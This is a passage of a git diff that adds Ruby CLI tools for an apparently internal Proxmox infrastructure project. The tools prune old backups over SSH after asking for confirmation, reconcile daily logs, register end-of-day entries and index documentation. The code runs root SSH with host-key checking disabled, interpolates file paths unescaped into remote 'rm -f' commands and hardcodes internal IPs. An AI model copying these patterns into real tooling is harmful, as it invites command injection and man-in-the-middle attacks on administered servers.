puts "#{Color::RED}ERROR#{Color::RESET}"
|
||||
if output.include?('Permission denied')
|
||||
puts " #{Color::DIM}Error de permisos/candado puesto.#{Color::RESET}"
|
||||
else
|
||||
puts " #{Color::DIM}No se detectaron tareas activas o el host no respondió.#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
|
||||
|
||||
# 2. Sincronización Automática: Auto-reconciliación y Migración
|
||||
fecha_hoy = Date.today.iso8601
|
||||
archivo_md = File.join(ADN::BITACORAS_DIR, "#{fecha_hoy}.md")
|
||||
|
||||
if File.exist?(archivo_md)
|
||||
print "#{Color::DIM}🔄 Reconciliando tareas pendientes... #{Color::RESET}"
|
||||
auto_reconciliar_bitacora(all_tasks_accumulated)
|
||||
puts "#{Color::DIM}OK#{Color::RESET}"
|
||||
|
||||
print "#{Color::DIM}🔄 Sincronizando bitácora digital... #{Color::RESET}"
|
||||
# Ejecutamos la migración de forma silenciosa
|
||||
cmd_migrar = "#{File.join(ADN::PROJECT_ROOT, 'adn/tools/run')} db migrar:md #{fecha_hoy} --sobrescribir > /dev/null 2>&1"
|
||||
system(cmd_migrar)
|
||||
puts "#{Color::DIM}OK#{Color::RESET}"
|
||||
end
|
||||
|
||||
# 3. Historial de la DB (Sincronizado)
|
||||
puts "\n#{Color::BOLD}📅 Historial de hoy (Sincronizado)#{Color::RESET}"
|
||||
puts "─" * 60
|
||||
|
||||
db_tool = "./adn/tools/run"
|
||||
# Buscamos por "backup" o "BKP"
|
||||
system("#{db_tool} db evento:listar --desde '#{fecha_hoy}' --buscar 'ackup'")
|
||||
|
||||
puts "\n#{Color::DIM}Para historial completo use: ./adn/tools/run db evento:listar --desde '#{fecha_hoy}'#{Color::RESET}"
|
||||
end
|
||||
|
||||
def comando_sanear
|
||||
dias = @opciones[:retencion].to_i
|
||||
storage = @opciones[:storage]
|
||||
@logger.info("Iniciando saneamiento de backups (Retención: #{dias} días en '#{storage}')")
|
||||
|
||||
# 1. Obtener lista de VMs directamente de Proxmox para nombres precisos
|
||||
host = { nombre: 'srv-pmox1', ip: '10.0.10.201' }
|
||||
candados_path = File.join(ADN::PROJECT_ROOT, 'tools', 'ns8-candados', 'ns8-candados.rb')
|
||||
system("ruby #{candados_path} authorize > /dev/null 2>&1")
|
||||
|
||||
@logger.info("Consultando inventario de VMs en Proxmox...")
|
||||
cmd_vms = "/usr/bin/pvesh get /cluster/resources --type vm --output-format json"
|
||||
output_vms = `ruby #{candados_path} run admindasu SSHPASS 'ssh -o StrictHostKeyChecking=no root@#{host[:ip]} "#{cmd_vms}"' 2>/dev/null`
|
||||
|
||||
vmid_map = cargar_mapa_vmid_nodos # Cargar local primero
|
||||
|
||||
begin
|
||||
if output_vms.include?('[')
|
||||
json_vms = output_vms[output_vms.index('[')..output_vms.rindex(']')]
|
||||
JSON.parse(json_vms).each do |vm|
|
||||
id = vm['vmid'].to_s
|
||||
# Priorizar nombre de Proxmox si el local no existe o es genérico
|
||||
vmid_map[id] = vm['name'] if vm['name'] && (!vmid_map[id] || vmid_map[id] == id)
|
||||
end
|
||||
end
|
||||
rescue => e
|
||||
@logger.advertencia("No se pudo completar el mapa de VMs desde Proxmox: #{e.message}")
|
||||
end
|
||||
|
||||
# 2. Obtener lista de archivos en el storage
|
||||
# Intentar con varios hosts del cluster por si uno está caído
|
||||
ruta_dump = "/mnt/pve/#{storage}/dump"
|
||||
@logger.info("Listando archivos en #{storage}...")
|
||||
|
||||
output_ls = ""
|
||||
[ '10.0.10.201', '10.0.10.202', '10.0.10.203' ].each do |ip|
|
||||
cmd_ls = "ls -1 --full-time #{ruta_dump}/vzdump-*"
|
||||
res = `ruby #{candados_path} run admindasu SSHPASS 'ssh -o StrictHostKeyChecking=no root@#{ip} "#{cmd_ls}"' 2>&1`
|
||||
unless res.include?('No such file') || res.include?('Connection refused')
|
||||
output_ls = res
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if output_ls.empty? || output_ls.include?('No such file')
|
||||
@logger.error("No se encontró la ruta de backups en ningún host: #{ruta_dump}")
|
||||
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
|
||||
exit 1
|
||||
end
|
||||
|
||||
# 3. Filtrar archivos por antigüedad
|
||||
ahora = Time.now
|
||||
limite = ahora - (dias * 24 * 60 * 60)
|
||||
|
||||
backups_agrupados = {}
|
||||
|
||||
output_ls.split("\n").each do |linea|
|
||||
next if linea.include?('OPTIONS]') || linea.empty?
|
||||
|
||||
partes = linea.split(/\s+/)
|
||||
next if partes.length < 9
|
||||
|
||||
fecha_str = "#{partes[5]} #{partes[6]}"
|
||||
ruta_archivo = partes[8..-1].join(' ')
|
||||
nombre = File.basename(ruta_archivo)
|
||||
|
||||
fingerprint = nombre.sub(/\.(log|vma\.zst|tar\.zst|vma\.zst\.notes|tar\.zst\.notes)$/, '')
|
||||
|
||||
begin
|
||||
mtime = Time.parse(fecha_str)
|
||||
if mtime < limite
|
||||
vmid = fingerprint.match(/vzdump-(?:qemu|lxc)-(\d+)-/)&.[](1)
|
||||
nodo_humano = vmid ? vmid_map[vmid] : "ID:#{vmid}"
|
||||
|
||||
backups_agrupados[fingerprint] ||= {
|
||||
fingerprint: fingerprint,
|
||||
fecha: mtime,
|
||||
vmid: vmid,
|
||||
nodo: nodo_humano,
|
||||
archivos: []
|
||||
}
|
||||
backups_agrupados[fingerprint][:archivos] << { ruta: ruta_archivo, nombre: nombre }
|
||||
end
|
||||
rescue
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
if backups_agrupados.empty?
|
||||
puts "#{Color::GREEN}✓ No se encontraron backups mayores a #{dias} días en #{storage}.#{Color::RESET}"
|
||||
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
|
||||
return
|
||||
end
|
||||
|
||||
# Convertir a array ordenado por fecha
|
||||
lista_final = backups_agrupados.values.sort_by { |b| b[:fecha] }
|
||||
|
||||
# 4. Mostrar lista con nuevo formato solicitado
|
||||
puts "\n#{Color::BOLD}🗑️ Propuesta de Saneamiento de Backups#{Color::RESET} (Retención: #{dias} días)"
|
||||
puts "─" * 90
|
||||
puts "#{Color::BOLD}ID Nombre_VMID_Fecha Componentes detectados#{Color::RESET}"
|
||||
puts "─" * 90
|
||||
|
||||
lista_final.each_with_index do |b, idx|
|
||||
num = (idx + 1).to_s.rjust(2, '0')
|
||||
fecha_corta = b[:fecha].strftime('%Y-%m-%d')
|
||||
|
||||
# Formato solicitado: XX - VMNombre_VMid_Fecha
|
||||
entrada_label = "#{num} - #{Color::BOLD}#{Color::CYAN}#{b[:nodo]}_#{b[:vmid]}_#{fecha_corta}#{Color::RESET}".ljust(60)
|
||||
|
||||
tipos = b[:archivos].map { |a| a[:nombre].split('.').last }.uniq.join(", ")
|
||||
total_archivos = "(#{b[:archivos].length} arch.)"
|
||||
|
||||
puts "#{entrada_label} #{Color::DIM}#{tipos.ljust(15)} #{total_archivos}#{Color::RESET}"
|
||||
end
|
||||
puts "─" * 90
|
||||
puts "Total detectado: #{lista_final.length} backups completos (#{backups_agrupados.values.sum { |b| b[:archivos].length }} archivos en total)."
|
||||
|
||||
puts "\n#{Color::BOLD}Acciones:#{Color::RESET}"
|
||||
puts " • Escriba #{Color::BOLD}'S'#{Color::RESET} para borrar TODOS los backups listados."
|
||||
puts " • Escriba #{Color::BOLD}excluir 1, 3-5#{Color::RESET} para conservar backups específicos."
|
||||
puts " • Escriba #{Color::BOLD}'N'#{Color::RESET} para cancelar."
|
||||
|
||||
print "\n👉 #{Color::BOLD}¿Qué deseas hacer?#{Color::RESET}: "
|
||||
input = STDIN.gets.chomp.strip.downcase
|
||||
|
||||
if input == 'n' || input == ''
|
||||
puts "#{Color::YELLOW}Operación cancelada.#{Color::RESET}"
|
||||
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
|
||||
exit
|
||||
end
|
||||
|
||||
# Procesar exclusiones
|
||||
seleccionados = lista_final.dup
|
||||
if input.start_with?('excluir')
|
||||
exclusiones = []
|
||||
patron = input.sub('excluir', '').strip
|
||||
|
||||
patron.split(/[\s,]+/).each do |p|
|
||||
next if p.empty?
|
||||
if p.include?('-')
|
||||
inicio, fin = p.split('-').map(&:to_i)
|
||||
exclusiones.concat((inicio..fin).to_a)
|
||||
else
|
||||
exclusiones << p.to_i
|
||||
end
|
||||
end
|
||||
|
||||
seleccionados = lista_final.reject.with_index { |_, idx| exclusiones.include?(idx + 1) }
|
||||
|
||||
if seleccionados.empty?
|
||||
puts "#{Color::YELLOW}Has excluido todos los backups. Nada que hacer.#{Color::RESET}"
|
||||
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
|
||||
exit
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}ℹ Has excluido #{lista_final.length - seleccionados.length} backups. Procediendo con #{seleccionados.length}...#{Color::RESET}"
|
||||
elsif input != 's'
|
||||
puts "#{Color::RED}Opción no válida. Cancelando.#{Color::RESET}"
|
||||
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
|
||||
exit
|
||||
end
|
||||
|
||||
# 5. Borrado final
|
||||
total_a_borrar = seleccionados.sum { |b| b[:archivos].length }
|
||||
puts "\n#{Color::BOLD}🗑️ Borrando #{total_a_borrar} archivos asociados a #{seleccionados.length} backups...#{Color::RESET}"
|
||||
|
||||
seleccionados.each_with_index do |b, i|
|
||||
puts "\n #{Color::BOLD}[#{i+1}/#{seleccionados.length}] Procesando #{b[:nodo]}...#{Color::RESET}"
|
||||
b[:archivos].each do |a|
|
||||
print " Eliminando #{a[:nombre]}... "
|
||||
del_cmd = "rm -f '#{a[:ruta]}'"
|
||||
del_seguro = "ssh -o StrictHostKeyChecking=no root@#{host[:ip]} '#{del_cmd}'"
|
||||
system("ruby #{candados_path} run admindasu SSHPASS '#{del_seguro}' > /dev/null 2>&1")
|
||||
puts "#{Color::GREEN}OK#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
|
||||
@logger.exito("Saneamiento completado. Se limpiaron #{seleccionados.length} sets de backup.")
|
||||
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
|
||||
end
|
||||
|
||||
def cargar_mapa_vmid_nodos
|
||||
mapa = {}
|
||||
Dir.glob(File.join(ADN::NODOS_DIR, "*.md")).each do |f|
|
||||
next if File.directory?(f)
|
||||
begin
|
||||
contenido = File.read(f)
|
||||
# Buscar nombre en h1 o metadatos
|
||||
nombre = File.basename(f, ".md")
|
||||
vmid = contenido.match(/(?:VM ID|vmid|VMID)\*\*?:?\s*`?(\d+)`?/i)&.[](1)
|
||||
mapa[vmid.to_s] = nombre if vmid
|
||||
rescue
|
||||
next
|
||||
end
|
||||
end
|
||||
mapa
|
||||
end
|
||||
|
||||
def auto_reconciliar_bitacora(all_tasks)
|
||||
fecha = Date.today.iso8601
|
||||
ruta = File.join(ADN::BITACORAS_DIR, "#{fecha}.md")
|
||||
return unless File.exist?(ruta)
|
||||
|
||||
contenido = File.read(ruta)
|
||||
vmid_map = cargar_mapa_vmid_nodos
|
||||
|
||||
# Encontrar todas las filas que tienen un reloj de arena
|
||||
lineas = contenido.lines
|
||||
nodo_actual = nil
|
||||
|
||||
lineas.each do |linea|
|
||||
if linea.start_with?('### srvv-')
|
||||
nodo_actual = linea.sub('### ', '').strip
|
||||
next
|
||||
end
|
||||
|
||||
# Si es una fila de tabla en progreso (⏳)
|
||||
if nodo_actual && linea.include?('|') && linea.include?('⏳')
|
||||
match_hora = linea.match(/\|\s*(\d{2}:\d{2})\s*\|/)
|
||||
next unless match_hora
|
||||
|
||||
hora_inicio_str = match_hora[1]
|
||||
vmid = vmid_map.key(nodo_actual)
|
||||
next unless vmid
|
||||
|
||||
# Buscar última tarea vzdump de este VMID que ya terminó
|
||||
hora_inicio_t = Time.parse("#{fecha} #{hora_inicio_str}") rescue nil
|
||||
|
||||
tarea = all_tasks.select { |t|
|
||||
vmid_task = (t['vmid'] || t['id']).to_s
|
||||
t['type'] == 'vzdump' &&
|
||||
vmid_task == vmid &&
|
||||
!t['endtime'].nil? &&
|
||||
(hora_inicio_t ? Time.at(t['starttime']) >= (hora_inicio_t - 3600) : true)
|
||||
}.max_by { |t| t['endtime'] }
|
||||
|
||||
if tarea
|
||||
exito = (tarea['status'] == 'OK')
|
||||
hora_fin = Time.at(tarea['endtime']).strftime('%H:%M')
|
||||
|
||||
@logger.info("Auto-cerrando backup de #{nodo_actual} (Task ID: #{tarea['id']})")
|
||||
cerrar_entrada_especifica(nodo_actual, hora_inicio_str, exito, tarea['id'], hora_fin)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cerrar_entrada_especifica(nodo, hora_ini, exito, task_id, hora_fin)
|
||||
fecha = Date.today.iso8601
|
||||
ruta = File.join(ADN::BITACORAS_DIR, "#{fecha}.md")
|
||||
return unless File.exist?(ruta)
|
||||
|
||||
estado_ico = exito ? '✅' : '⚠️'
|
||||
desc = exito ? 'Backup completado exitosamente.' : 'Fallo en la ejecución del backup.'
|
||||
desc = "[task:#{task_id[0..7]}] #{desc}" if task_id
|
||||
|
||||
linea_nueva = "| #{hora_ini} | #{hora_fin} | #{desc} | R | #{estado_ico} |"
|
||||
|
||||
contenido = File.read(ruta)
|
||||
# Buscamos la fila específica que coincida con el nodo Y la hora de inicio
|
||||
# Capturamos el bloque del nodo para evitar errores si otros nodos tienen la misma hora
|
||||
regex_seccion = /(### #{Regexp.escape(nodo)}.*?)(?=^###\s|<!--|\z)/m
|
||||
seccion = contenido.match(regex_seccion)&.[](0)
|
||||
unless seccion
|
||||
return
|
||||
end
|
||||
|
||||
# Regex para la fila exacta que tenga la hora de inicio Y un reloj ⏳ en la última columna
|
||||
regex_fila = /\|\s*#{Regexp.escape(hora_ini)}\s*\|\s*\|\s*[^|]*\|\s*[^|]*\|\s*[^|]*⏳[^|]*\|/
|
||||
|
||||
if seccion.match?(regex_fila)
|
||||
@logger.exito("Reconciliado: #{nodo} (#{hora_ini} -> #{hora_fin})")
|
||||
nueva_seccion = seccion.sub(regex_fila, linea_nueva)
|
||||
# Si ya no quedan ⏳ en esta sección, actualizamos su icono #### ⏳ -> ✅
|
||||
# Buscamos cualquier reloj de arena que quede en la sección
|
||||
unless nueva_seccion.include?('⏳')
|
||||
nueva_seccion.gsub!(/#### [⏳⏳] - BKP-ADN/, "#### #{estado_ico} - BKP-ADN")
|
||||
end
|
||||
|
||||
nuevo_contenido = contenido.gsub(seccion, nueva_seccion)
|
||||
File.write(ruta, nuevo_contenido)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,58 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/cli/cierre.rb — Subcomando para cierre de jornada laboral (DB-First)
|
||||
# ==============================================================================
|
||||
|
||||
require 'date'
|
||||
require 'time'
|
||||
require_relative '../db/core/bitacora_db'
|
||||
|
||||
module ADN
|
||||
class SubcomandoCierre
|
||||
require_relative '../core/colores'
|
||||
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
@fecha = Date.today
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
if @args.empty? || !(@args.include?('jornada'))
|
||||
puts "#{Color::YELLOW}Uso: ./adn/tools/run cierre de jornada [presencial|remoto]#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
modo = @args.include?('presencial') ? 'P' : 'R'
|
||||
tipo_str = modo == 'P' ? 'Presencial' : 'Remoto'
|
||||
hora_fin = Time.now.strftime('%H:%M')
|
||||
|
||||
@logger.info("Iniciando cierre de jornada #{tipo_str} (Modo DB-First)")
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
# 1. Buscar la bitácora
|
||||
bitacora = db.find_bitacora_by_fecha(@fecha)
|
||||
unless bitacora
|
||||
@logger.error("No existe bitácora en DB para hoy (#{@fecha}). ¿Iniciaste la jornada?")
|
||||
return
|
||||
end
|
||||
|
||||
# 2. Obtener nodo srv-ns8
|
||||
nodo = db.find_nodo_by_nombre('srv-ns8')
|
||||
|
||||
# 3. Crear entrada de cierre
|
||||
db.create_entrada(
|
||||
inicio: hora_fin,
|
||||
fin: hora_fin,
|
||||
descripcion: "Cierre de jornada #{tipo_str.downcase}. Sincronización final y validación de backups.",
|
||||
estado: '✅',
|
||||
modo: modo,
|
||||
bitacora_id: bitacora['id'],
|
||||
nodo_id: nodo ? nodo['id'] : nil
|
||||
)
|
||||
|
||||
@logger.exito("Cierre de jornada registrado en Base de Datos.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,177 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/cli/conocimiento.rb — Subcomando para gestionar la Base de Conocimiento del ADN
|
||||
# ==============================================================================
|
||||
# Inyecta nuevos documentos y los referencia automáticamente en el 00_indice.md
|
||||
# cumpliendo con el principio de Armonía Integral.
|
||||
|
||||
require 'optparse'
|
||||
require 'fileutils'
|
||||
require 'date'
|
||||
|
||||
module ADN
|
||||
class SubcomandoConocimiento
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
@indice_path = File.join(PROJECT_ROOT, 'adn', '00_indice.md')
|
||||
@conocimiento_dir = File.join(PROJECT_ROOT, 'adn', 'conocimiento')
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
if @args.empty? || @args[0] == 'help'
|
||||
mostrar_ayuda
|
||||
return
|
||||
end
|
||||
|
||||
subcomando = @args[0]
|
||||
sub_args = @args[1..-1] || []
|
||||
|
||||
case subcomando
|
||||
when 'asimilar'
|
||||
comando_asimilar(sub_args)
|
||||
else
|
||||
@logger.error("Subcomando desconocido: conocimiento #{subcomando}")
|
||||
puts "#{Color::RED}✗ Subcomando desconocido: '#{subcomando}'#{Color::RESET}"
|
||||
mostrar_ayuda
|
||||
exit 1
|
||||
end
|
||||
rescue Interrupt
|
||||
puts "\n#{Color::YELLOW}⚠ Operación interrumpida#{Color::RESET}"
|
||||
exit 130
|
||||
rescue StandardError => e
|
||||
@logger.error("Error asimilando conocimiento: #{e.message}")
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{e.backtrace.first}#{Color::RESET}" if ENV['ADN_DEBUG']
|
||||
exit 1
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def comando_asimilar(args)
|
||||
opts = { forzar: false }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn conocimiento asimilar <archivo.md> [OPCIONES]"
|
||||
opt.on("-f", "--force", "Forzar sobrescritura si el documento ya está asimilado") do
|
||||
opts[:forzar] = true
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
archivo_origen = args[0]
|
||||
|
||||
if archivo_origen.nil? || archivo_origen.strip.empty?
|
||||
puts "#{Color::RED}✗ Se requiere la ruta de un archivo Markdown.#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
unless File.exist?(archivo_origen)
|
||||
puts "#{Color::RED}✗ El archivo origen no existe: #{archivo_origen}#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}🧠 Asimilando conocimiento desde #{archivo_origen}...#{Color::RESET}"
|
||||
|
||||
# Preparar el directorio de conocimiento
|
||||
FileUtils.mkdir_p(@conocimiento_dir) unless Dir.exist?(@conocimiento_dir)
|
||||
|
||||
nombre_base = File.basename(archivo_origen)
|
||||
archivo_destino = File.join(@conocimiento_dir, nombre_base)
|
||||
|
||||
if File.exist?(archivo_destino) && !opts[:forzar]
|
||||
puts "#{Color::YELLOW}⚠ El documento ya existe en la base de ADN. Usa --force para sobrescribir.#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
# Copiar el archivo
|
||||
FileUtils.cp(archivo_origen, archivo_destino)
|
||||
puts " #{Color::DIM}Documento integrado físicamente en: adn/conocimiento/#{nombre_base}#{Color::RESET}"
|
||||
|
||||
# Extraer metadatos
|
||||
contenido = File.read(archivo_destino)
|
||||
titulo = contenido.match(/^#\s+(.+)$/)&.captures&.first || nombre_base.sub('.md', '').capitalize
|
||||
|
||||
# Buscar el primer párrafo que no sea un título ni un bloque especial
|
||||
resumen = "Asimilación automatizada de módulo."
|
||||
parrafos = contenido.split("\n\n").reject { |p| p.start_with?('#', '>', '<', '---', '!') || p.strip.empty? }
|
||||
if parrafos.any?
|
||||
resumen_limpio = parrafos.first.gsub("\n", " ").strip
|
||||
resumen = resumen_limpio[0..147] + "..." if resumen_limpio.length > 150
|
||||
resumen = resumen_limpio if resumen_limpio.length <= 150
|
||||
end
|
||||
|
||||
# Actualizar 00_indice.md
|
||||
actualizar_indice(nombre_base, titulo, resumen)
|
||||
|
||||
puts "#{Color::GREEN}✅ Conocimiento asimilado correctamente y propagado a ADN/00_indice.md#{Color::RESET}"
|
||||
@logger.info("Conocimiento asimilado: #{nombre_base}")
|
||||
end
|
||||
|
||||
def actualizar_indice(nombre_archivo, titulo, resumen)
|
||||
contenido_indice = File.read(@indice_path)
|
||||
fecha_hoy = Date.today.strftime("%d/%m/%Y")
|
||||
ruta_relativa = "conocimiento/#{nombre_archivo}"
|
||||
|
||||
fila_markdown = "| [**#{titulo}**](#{ruta_relativa}) | #{fecha_hoy} | #{resumen} |"
|
||||
|
||||
# Comprobar si ya existe la sección de conocimiento
|
||||
seccion_conocimiento = "## 📚 Base de Conocimiento"
|
||||
|
||||
if contenido_indice.include?(seccion_conocimiento)
|
||||
# Revisión de duplicados
|
||||
return if contenido_indice.include?(ruta_relativa) && !contenido_indice.include?("Sobrescribir")
|
||||
|
||||
# Encontrar el final de la tabla e insertar la fila (reemplazando si hace falta actualizar)
|
||||
lineas = contenido_indice.lines
|
||||
idx_seccion = lineas.index { |l| l.include?(seccion_conocimiento) }
|
||||
|
||||
# Insertar después de las cabeceras de la tabla
|
||||
idx_insercion = idx_seccion + 4
|
||||
|
||||
lineas.insert(idx_insercion, "#{fila_markdown}\n")
|
||||
File.write(@indice_path, lineas.join)
|
||||
else
|
||||
# Inyectar toda la sección al final del archivo
|
||||
bloque_nuevo = <<~MD
|
||||
|
||||
---
|
||||
|
||||
#{seccion_conocimiento}
|
||||
|
||||
| Documento | Fecha de Asimilación | Descripción |
|
||||
| :--- | :--- | :--- |
|
||||
#{fila_markdown}
|
||||
|
||||
MD
|
||||
|
||||
File.open(@indice_path, 'a') do |f|
|
||||
f.puts bloque_nuevo
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def mostrar_ayuda
|
||||
puts "#{Color::CYAN}🧠 Herramienta ADN - Gestión de Base de Conocimiento#{Color::RESET}"
|
||||
puts "Permite inyectar, organizar e indexar nueva documentación en el motor autónomo."
|
||||
puts ""
|
||||
puts "#{Color::BOLD}SUBCOMANDOS:#{Color::RESET}"
|
||||
puts " #{Color::CYAN}asimilar <archivo.md>#{Color::RESET} Ingiere un documento Markdown a la base cognitiva del ADN."
|
||||
puts ""
|
||||
puts "#{Color::BOLD}EJEMPLOS:#{Color::RESET}"
|
||||
puts " ./adn/tools/run conocimiento asimilar docs/configuracion_bd.md"
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,139 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'optparse'
|
||||
require_relative '../core/colores'
|
||||
|
||||
class SubcomandoContexto
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
@opciones = { cmd: false }
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
if @args.empty?
|
||||
@logger.error("Se requiere nombre de nodo")
|
||||
puts "Uso: ./adn/tools/run contexto <nombre-nodo> [--cmd]"
|
||||
exit 1
|
||||
end
|
||||
|
||||
nodo = @args[0]
|
||||
@args.shift
|
||||
|
||||
parser = OptionParser.new do |opts|
|
||||
opts.banner = "Uso: ./adn/tools/run contexto <nombre-nodo> [OPCIONES]"
|
||||
opts.separator ""
|
||||
opts.separator "Obtiene contexto topológico de un nodo"
|
||||
opts.separator ""
|
||||
opts.separator "Opciones:"
|
||||
opts.on("--cmd", "Generar comando SSH con ProxyJump si es necesario") do
|
||||
@opciones[:cmd] = true
|
||||
end
|
||||
opts.on("-h", "--help", "Mostrar esta ayuda") do
|
||||
puts opts
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(@args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
@logger.error("Opción inválida: #{e.message}")
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
obtener_contexto(nodo)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def obtener_contexto(nombre_nodo)
|
||||
@logger.info("Buscando contexto para nodo: #{nombre_nodo}")
|
||||
|
||||
ruta_nodo = File.join(ADN::NODOS_DIR, "#{nombre_nodo}.md")
|
||||
|
||||
unless File.exist?(ruta_nodo)
|
||||
@logger.error("Nodo no encontrado: #{nombre_nodo}")
|
||||
puts "#{Color::RED}✗ No se encontró ficha para el nodo '#{nombre_nodo}'#{Color::RESET}"
|
||||
puts " Buscado en: #{ruta_nodo}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
contenido = File.read(ruta_nodo, encoding: 'UTF-8')
|
||||
|
||||
# Extraer información básica
|
||||
puts "#{Color::CYAN}📋 Contexto del nodo: #{nombre_nodo}#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{'-' * 60}#{Color::RESET}"
|
||||
|
||||
# Buscar IP en la tabla
|
||||
if contenido.match(/\|\s*IP (?:LAN|Pública)?\s*\|\s*([^\|]+)\s*\|/)
|
||||
ip = $1.strip
|
||||
puts " #{Color::GREEN}IP:#{Color::RESET} #{ip}"
|
||||
|
||||
if @opciones[:cmd]
|
||||
generar_comando_ssh(nombre_nodo, ip)
|
||||
end
|
||||
end
|
||||
|
||||
# Buscar rol
|
||||
if contenido.match(/\|\s*Rol(?: Principal)?\s*\|\s*([^\|]+)\s*\|/)
|
||||
rol = $1.strip
|
||||
puts " #{Color::GREEN}Rol:#{Color::RESET} #{rol}"
|
||||
end
|
||||
|
||||
# Buscar sistema operativo
|
||||
if contenido.match(/\|\s*Sistema Operativo\s*\|\s*([^\|]+)\s*\|/)
|
||||
so = $1.strip
|
||||
puts " #{Color::GREEN}SO:#{Color::RESET} #{so}"
|
||||
end
|
||||
|
||||
# Buscar en ontología para contexto de red
|
||||
config_path = File.join(__dir__, '../config', 'config.yml')
|
||||
ontologia_path = File.join(ADN::PROJECT_ROOT, 'adn', '01_ontologia.md')
|
||||
if File.exist?(ontologia_path)
|
||||
ontologia = File.read(ontologia_path, encoding: 'UTF-8')
|
||||
if ontologia.include?(nombre_nodo)
|
||||
puts " #{Color::GREEN}En ontología:#{Color::RESET} Sí"
|
||||
|
||||
# Intentar encontrar en qué cluster está
|
||||
clusters = ['srv-pmox1', 'srv-pmox2', 'srv-pmox3', 'srv-xen1', 'srv-dasu']
|
||||
cluster = clusters.find { |c| ontologia.include?("**#{c}**") && ontologia.include?(nombre_nodo) }
|
||||
|
||||
if cluster
|
||||
puts " #{Color::GREEN}Cluster:#{Color::RESET} #{cluster}"
|
||||
|
||||
# Determinar si necesita ProxyJump
|
||||
if cluster != 'srv-ns8' && !nombre_nodo.start_with?('srv-')
|
||||
puts " #{Color::YELLOW}🔧 Acceso probable via ProxyJump:#{Color::RESET}"
|
||||
puts " ssh -J root@#{cluster} rmonla@#{nombre_nodo}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
puts "#{Color::DIM}#{'-' * 60}#{Color::RESET}"
|
||||
@logger.exito("Contexto obtenido para nodo: #{nombre_nodo}")
|
||||
end
|
||||
|
||||
def generar_comando_ssh(nodo, ip)
|
||||
puts "\n#{Color::CYAN}🔧 Comando SSH sugerido:#{Color::RESET}"
|
||||
|
||||
# Determinar usuario basado en el nodo
|
||||
usuario = if nodo.start_with?('srvv-') || nodo.start_with?('pcv-')
|
||||
'rmonla'
|
||||
elsif nodo.start_with?('srv-') && nodo != 'srv-ns8'
|
||||
'root'
|
||||
else
|
||||
'rmonla'
|
||||
end
|
||||
|
||||
puts " ssh #{usuario}@#{ip}"
|
||||
|
||||
# Si no es srv-ns8 y no es un hypervisor, sugerir usando nombre
|
||||
unless nodo == 'srv-ns8' || nodo.start_with?('srv-pmox') || nodo.start_with?('srv-xen')
|
||||
puts " #{Color::DIM}O usando nombre (si está en ~/.ssh/config):#{Color::RESET}"
|
||||
puts " ssh #{nodo}"
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,166 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/subcomando_db.rb — Subcomando para operaciones con base de datos dtic-BITACORAs
|
||||
# ==============================================================================
|
||||
# Este subcomando integra las operaciones de base de datos PostgreSQL con la CLI ADN.
|
||||
# Proporciona comandos para gestión de bitácoras, nodos, temas y entradas directamente
|
||||
# en la base de datos, permitiendo la migración gradual desde archivos .md.
|
||||
#
|
||||
# Comandos disponibles:
|
||||
# • adn db salud:bd — Verificar conexión y estado de la BD
|
||||
# • adn db bitacora:crear [FECHA] — Crear nueva bitácora diaria
|
||||
# • adn db bitacora:listar [--limit N] — Listar bitácoras existentes
|
||||
# • adn db evento:crear [OPCIONES] — Crear nueva entrada cronológica
|
||||
# • adn db evento:listar [OPCIONES] — Listar entradas con filtros
